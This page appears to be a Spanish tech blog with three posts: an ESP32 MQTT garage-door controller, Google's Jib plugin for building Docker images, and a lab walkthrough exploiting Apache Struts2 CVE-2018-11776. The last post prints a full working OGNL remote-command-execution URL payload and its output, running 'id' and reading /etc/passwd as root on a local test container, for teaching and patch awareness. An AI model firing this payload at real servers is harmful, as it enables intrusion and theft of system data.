Controlando las puertas de un garaje con un ESP32 - Parte 1

  • September 20, 2018
  • tuxotron
  • Garage

    Garage

    Hace cuatro años que cableé un Raspberry Pi con un relé de dos canales y un par de sensores, y lo conecté a las puertas de mi garaje. Aquí tenéis la entrada donde expliqué entonces este proyecto: https://www.cyberhades.com/2014/02/04/controlando-las-puertas-del-garaje-con-un-raspberry-pi/.

    Este montaje con el tiempo sufrió algunos cambios, como: el uso de un servidor MQTT (mosquitto), una aplicación Android nativa, e incluso una aplicación para mi viejo relog Pebble. Nunca escribí sobre ello, pero aquí podéis ver un vídeo dónde uso el reloj para abrir la puerta del garaje (como podéis ver la casa es también distinta, he sufrido varias mudanzas desde entonces):

    Este montaje funcionó bastante bien a lo largo de estos cuatro años, aunque de vez en cuando perdía la conexión de red, e incluso tuve que reemplazar la tarjeta de memoria (SD Card) un par de veces. Parece que estas no duran mucho.

    Por ello, me decidí a re-hacer el proyecto de nuevo, pero esta vez usando un micro controlador ESP32. Para este tipo de proyectos, es mucho mejor porque no necesitas mucha capacidad de proceso (para este proyecto el ESP32 también va sobrado), el tiempo de arranque del micro controlador es muchísimo más rápido que el de un RPi, ya que no tienes sistema operativo, en este caso vuelcas el código fuente en el chip, no tarjetas de memoria, no corrupción del sistema de fichero, etc. En este caso estoy usando esta placa.

    En esta entrada vamos ver como conectar el relé y como interactuar con él. El cableado es muy sencillo y prácticamente igual que al de la entrada original. Aquí tenéis una imagen del mismo:

    ESP32-relay-wiring

    ESP32-relay wiring

    Como podéis ver sólo se necesitan cuatro cables, alimentación (VCC), tierra (GND) y un cable para cada canal. En mi caso estoy usando los GPIO 32 y 33 para los canales izquierdo y derecho respectivamente.

    Para programar el controlador usé: ESP-IDF (Espressif IoT Development Framework).

    La interacción con nuestro ESP32 la haremos a través de un servidor MQTT (Mosquitto), pero cualquier otro valdría. El código fuente del proyecto está alojado en este repositorio, y por último también necesitas este cliente MQTT para nuestro micro controlador.

    Asumiendo que ya tienes instalado el ESP-DIF y el componente esp-mqtt, lo siguiente sería descargarte el código fuente del proyecto:

    git clone https://github.com/tuxotron/garage-esp32
    

    Una vez hecho esto, tenemos que configurar el proyecto con el siguiente comando (ejecutando desde dentro del directorio del proyecto que acabos de clonar):

    make menuconfig
    

    Y deberías ver algo así:

    menuconfig

    make menuconfig

    Una vez aquí lo primero sería configurar la comunicación serie (esta placa de desarrollo acepta hasta 921600 baudios, lo cual recomiendo, porque así ahorras tiempo durante el volcado del código):

    Serial

    Serial configuration

    Lo siguiete sería configurar algunos parámetros específicos del proyecto. Para ello selecionaremos la opción Garage Door Opener. Aquí debes introducir tu SSID y clave, servidor MQTT, usuario y contraseña (para las pruebas estoy usando mqtt://iot.eclipse.org, el cual no requiere autentificación, por lo que puedes dejar el usuario y la contraseña en blanco). Asegúrate de salvar los cambios.

    Garage Door Opener menu option

    Garage Door Opener menu option

    Una vez hecho esto y antes de volcar nuestro programa en el chip, vamos a ver algunas partes del código del fichero main/app_main.c

    static const char *LEFT_DOOR_TOPIC = "/garage/door/left";
    static const char *RIGHT_DOOR_TOPIC = "/garage/door/right";
    
    #define LEFT_DOOR_GPIO 32
    #define RIGHT_DOOR_GPIO 33
    

    Aquí vemos algunas de las constantes definidas. Nos suscribiremos a los canales (topics): /garage/door/left y /garage/door/right, y los pins que usaramos para interactuar con el relé con el 32 y 33.

    Durante el proceso de inicialización, además de la conexión a nuestra WIFI, etc, configuramos los pins (GPIOs). Ambos los ponemos como salida (output) y alto (high).

    void app_main()
    {
        ...
    
        gpio_pad_select_gpio(LEFT_DOOR_GPIO);
        gpio_pad_select_gpio(RIGHT_DOOR_GPIO);
        /* Set the GPIO as a push/pull output */
        gpio_set_direction(LEFT_DOOR_GPIO, GPIO_MODE_OUTPUT);
        gpio_set_direction(RIGHT_DOOR_GPIO, GPIO_MODE_OUTPUT);
        /* Set these PINs high */
        gpio_set_level(LEFT_DOOR_GPIO, 1);
        gpio_set_level(RIGHT_DOOR_GPIO, 1);
    
        ...
    }
    

    Por último vemos parte del código que maneja los mensajes que nos llegan:

    static esp_err_t mqtt_event_handler(esp_mqtt_event_handle_t event)
    {
        esp_mqtt_client_handle_t client = event->client;
        int msg_id;
    
        switch (event->event_id) {
            ...
            case MQTT_EVENT_DATA:
                ...
                // Get the topic name
                char *topic = malloc(event->topic_len);
                memcpy(topic, event->topic, event->topic_len);
                topic[event->topic_len] = '\0';
    
                // Get the data
                char *data = malloc(event->data_len);
                memcpy(data, event->data, event->data_len);
                data[event->data_len] = '\0';
    
                if (strcmp(topic, LEFT_DOOR_TOPIC) == 0) {
                    if (strcmp(data, "PUSH") == 0) {
                        gpio_set_level(LEFT_DOOR_GPIO, 0);
                        vTaskDelay(500 / portTICK_PERIOD_MS);
                        gpio_set_level(LEFT_DOOR_GPIO, 1);
                    }
    
                } else if (strcmp(topic, RIGHT_DOOR_TOPIC) == 0) {
                    if (strcmp(data, "PUSH") == 0) {
                        gpio_set_level(RIGHT_DOOR_GPIO, 0);
                        vTaskDelay(500 / portTICK_PERIOD_MS);
                        gpio_set_level(RIGHT_DOOR_GPIO, 1);
                    }
                }
                ...
        }
        return ESP_OK;
    }
    

    Como se puede observar, sólo cerramos el relay cuando nos llega el mensaje PUSH, y lo cerramos por .5 segundos.

    Lo siguiente sería volcar nuestro programa al chip. Para ello puedes ejecutar el siguiente comando (asegúrate que tienes conectado la placa a tu ordenador):

        make flash
    

    Si quieres ver lo que está ocurriendo en el chip, puedes ejecutar:

        make monitor
    

    O puedes volcar y ver los logs combinando ambos comandos:

        make flash monitor
    

    Para hacer mis pruebas estoy usando el comando mosquitto_pub. Ejecutando los siguientes comandos debería ver como el relé enciende los LEDs:

    mosquitto_pub -h iot.eclipse.org -t "/garage/door/right" -m "PUSH"
    
    mosquitto_pub -h iot.eclipse.org -t "/garage/door/left" -m "PUSH"
    

    Aquí tenéis un vídeo mostrando la ejecución de los comandos anteriormente mencionados:

    En las siguientes entradas sobre esta serie, veremos la conexión de los sensores, el cableado de instalación en el garaje e incluso una aplicación móvil para controlar las puertas desde el mismo.

    This post is also available in English.

Creando imágenes Docker para aplicaciones Java, sin Docker

  • August 27, 2018
  • tuxotron
  • Jib

    Jib

    De la misma forma que un contenedor Docker no es más que un proceso Linux, una imagen Docker no es más que la suma de sus capas, dónde cada capa es un archivo tar.

    Dicho esto, por lo tanto crear una imagen Docker no es tan complejo como puede parecer, de hecho, no sólo no necesitas escribir tu fichero Dockerfile, sino que ni si quiera necesitas tener Docker instalado.

    Jib es una herramienta, que actualmente, viene en forma de plugin para Gradle y Maven. Esta está enfocada a la creación de imágenes Docker para aplicaciones Java, optimizando el tiempo de creación de la misma y su contexto. Jib no sólo genera la imagen, sino que también la sube a un registro Docker (el cual puedes especificar).

    Jib, por defecto, usa la imagen base sin distribucion (distroless) de Java, una de las que ya hablamos anteriormente, aunque esto es configurable y podemos especificar la imagen base qu queramos. Esto implica que el tamaño de la imagen es mínimo. Además, la capa de la aplicación la divide en 3 capas distintas: dependencias, recursos y clases. Prácticamente, Jib crea una imagen similar a la que crearía un fichero Dockerfile con el siguiente contenido:

        FROM gcr.io/distroless/java
        COPY target/dependencies /app/dependencies
        COPY target/resources /app/resources
        COPY target/classes /app/classes
    
        ENTRYPOINT java -cp /app/dependencies/*:/app/resources:/app/classes my.app.Main
    

    Como puedes ver, se crean 3 capas, en el orden de cambios con menor probabilidad para acelerar la creación de las imágenes. Si no conoces como funciona esto de las capas en Docker, la caché y buenas prácticas, te recomiendo encarecidamente este recurso :) shameful plug, I know!

    Otra cosa de la Jib nos ayuda, es en minimizar el contexto de la aplicación, de forma que tambien nos ahorra escribir nuestro propio fichero .dockerignore. Si no sabes que es esto del contexto, te hago referencia al recurso enlazado anteriormente ;)

    Después de haberte vendido la moto, veamos algún ejemplo. Para ello necesitas una aplicación Java (puedes jugar con esta, la cual ya tiene el plugin añadido), con Maven o Gradle. En nuestro caso usaremos Maven. Todo lo que tienes que hacer as anadir el plugin Jib a tu pom.xml:

    <project>
    ...
    <build>
        <plugins>
        ...
        <plugin>
            <groupId>com.google.cloud.tools</groupId>
            <artifactId>jib-maven-plugin</artifactId>
            <version>0.9.9</version>
            <configuration>
            <to>
                <image>registry.hub.docker.com/my-docker-id/my-app</image>
            </to>
            </configuration>
        </plugin>
        ...
        </plugins>
    </build>
    ...
    </project>
    

    Con esto le decimos a Jib que nos genere una imagen llamada my-app y la suba al registro the Docker Hub bajo la cuenta my-docker-id.

    Tambien tenemos la opción de usar Google Container Registry (GCR):

    <image>gcr.io/my-gcp-project/my-app</image>
    

    Amazon Elastic Container Registry (ECR):

    <image>aws_account_id.dkr.ecr.region.amazonaws.com/my-app</image>
    

    O nuestro propio registro:

    <image>localhost:5000/my-image:tag</image>
    

    Las credenciales de autentificación, como el nombre de la imagen, o el resto de parámetros, las podemos especificar de varias maneras:

    En el propio pom.xml:

    <to>
    <image>gcr.io/my-gcp-project/my-app</image>
    <auth>
        <username>username</username>
        <password>pasword</password>
    </auth>
    </to>
    

    Con variables de entorno:

    <to>
    <image>gcr.io/my-gcp-project/my-app</image>
    <auth>
        <username>${env.REGISTRY_USERNAME}</username>
        <password>${env.REGISTRY_PASSWORD}</password>
    </auth>
    </to>
    

    O a través de la línea de comandos:

        mvn compile jib:build -Djib.to.auth.username=user -Djib.to.auth.password=pass
    

    Como decía antes, por defecto Jib usa la image base distroless de Java, pero podemos usar otra imagen distinta:

    <configuration>
    <from>
        <image>openjdk:alpine</image>
    </from>
    ...
    </configuration>
    

    Y si nuestro registro necesita autentificación:

    <configuration>
    ...
    <from>
        <image>aws_account_id.dkr.ecr.region.amazonaws.com/my-base-image</image>
        <auth>
        <username>my_username</username>
        <password>my_password</password>
        </auth>
    </from>
    ...
    </configuration>
    

    Una vez tenemos configurado nuestro fichero pom.xml, podemos generar y subir nuestra imagen con el siguiente comando:

    mvn compile jib:dockerBuild
    

    Tan simple como eso. No tienes que crear ficheros Dockerfile, .dockerignore, ejecutar docker build y docker push. En esta image puedes ver la diferencia entre el proceso de publicación de una imagen usando Docker vs Jib:

    Docker vs Jib

    Diferencia entre Docker y Jib

    El plugin también nos ofrece otras posibilidades, como la creación de la imagen en un archivo tar:

    mvn compile jib:buildTar
    

    El cual luego podriamos importar a Docker:

    docker load --input target/jib-image.tar
    

    Y si aún prefieres usar Docker para crear tu image, Jib también te permite crear el contexto Docker para tu aplicación:

    mvn compile jib:exportDockerContext
    

    Esto te generaría el directorio target/jib-docker-context con el fichero Dockerfile y el contenido que tu imagen necesita.

    Echa un vistazo a las páginas enlazadas si quieres ver el resto de funcionalidades que ofrece esta herramienta.

    Os dejo también una presentación sobre Jib:

    Aún hay cosas que le faltan como el manejo de volúmenes, etc, pero es una herramienta que está en desarrollo activo y veremos mejoras constantemente.

    Esta es una herramienta perfecta para el desarrollador que no quiere tener que preocuparse de saber como funciona Docker y sólo se quiere enfocar en escribir codigo.

    Entrada oficial

Explotando Struts2, CVE-2018-11776

  • August 25, 2018
  • tuxotron
  • Struts2

    Struts2

    Hace poco se hizo pública otra vulnerabilidad en Apache Struts2, un popular framework para aplicaciones web en Java. Dicha vulnerabilidad, CVE-2018-11776, permite a un atacante la ejecución remota de comandos. La versiones afectadas son Apache Struts 2.3 a 2.3.34 y 2.5 a 2.5.16.

    Para poder aprovechar dicha vulnerabilidad, una acción (struts action) se debe definir sin namespace o usar algún carácter comodín, como por ejemplo /*. En estos casos, Struts usa OGNL (un lenguaje de expresiones de código abierto para Java) para determinar la acción a ejecutar basada en el namespace dado por el usuario, permitiendo así la posible ejecución de código remoto.

    Existen pruebas de concepto pública para la explotación de esta vulnerabilidad, como por ejemplo en este repositorio. En el mismo, existen un par de scripts en Python, uno para comprobar si una aplicación web es vulnerable y el otro acepta comandos como parámetros que son ejecutados en el servidor donde corre nuestra aplicación. En dicho repositorio, hay algunas instrucciones para levantar un contenedor Docker con una aplicación usando Apache Struts2, más una serie de cambios en la confiración. Yo he creado un contenedor que ya contiene dichos cambios de configuración.

    Si deseas probar por ti mismo como explotar esta vulnerabilidad, sólo tienes que ejecutar el siguiente comando (asumiendo que tienes Docker instalado):

    docker container run -it --rm -p 8080:8080 tuxotron/cve-2018-11776
    

    Si todo ha ido bien, desde el navegador puedes ir a http://localhost:8080/ y deberías ver algo así:

    Struts2 Showcase

    Struts2 Showcase

    Para comprobar si la aplicación es vulnerable, desde el navegador, si vas a: http://localhost:8080/${2+2}/help.action, deberías ser redirigido a http://localhost:8080/4/date.action, esto implica que la expresión ${2+2} ha sido evaluada y por lo tanto podríamos explotar nuestra aplicacaión.

    Si ejecutas el script de testeo del repositorio arriba mencionado, verás algo como esto:

    ./exploitS2-057-test.py http://0.0.0.0:8080/showcase.action
    testing the url for exploit; http://0.0.0.0:8080/${90905+78732}/help.action
    URL http://0.0.0.0:8080/showcase.action s2-057 CVE-2018-11776 is vulnerable!
    

    Esto nos indica que la aplicación es vulnerable. Ahora si queremos ejecutar algún comando, por ejemplo id:

    /exploitS2-057-cmd.py 0.0.0.0:8080 'id'
    [Execute]: id
    [Url]: http://0.0.0.0:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action
    
    
    
    uid=0(root) gid=0(root) groups=0(root)
    

    O podrías listar el fichero /etc/passwd:

    ./exploitS2-057-cmd.py 0.0.0.0:8080 'cat /etc/passwd'
    [Execute]: cat /etc/passwd
    [Url]: http://0.0.0.0:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action
    
    
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    ...
    

    En el repositorio mencionado hay algún ejemplo más, como el ejecutar una shell inversa, etc.

    Have fun! Y parchea si usas Struts2!